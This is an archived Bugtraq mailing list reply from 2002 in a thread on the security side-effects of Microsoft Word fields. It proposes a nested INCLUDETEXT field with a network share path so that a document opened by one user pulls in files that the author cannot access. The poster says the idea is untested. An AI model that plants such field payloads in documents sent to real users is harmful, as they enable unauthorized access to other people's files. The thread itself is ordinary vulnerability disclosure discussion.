Bugtraq mailing list archives
Re: Security side-effects of Word fields
From: Kyle Duren <acidrain_ask () pixitha com>
Date: 27 Aug 2002 07:11:09 -0000
In-Reply-To: <20020826212322.1137.qmail () mail securityfocus com> Could you use this in say a network environtment? change this around a bit to get files that someone else has access to, but you dont? ie: { IF { INCLUDETEXT { IF { DATE } = { DATE } "\\servername\usershare\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT } Using the permissions of Bob to get a file that Alice doesn't and shouldn't have access to. I do not have a file server to test that one, so its only an idea. "An eye for an eye only makes the whole world blind" - Ghandi Kyle Duren
Current thread:
- Security side-effects of Word fields Alex Gantman (Aug 26)
- <Possible follow-ups>
- Re: Security side-effects of Word fields Sean Smith (Aug 27)
- Re: Security side-effects of Word fields Kyle Duren (Aug 28)
- RE: Security side-effects of Word fields Hauke Lampe (Aug 30)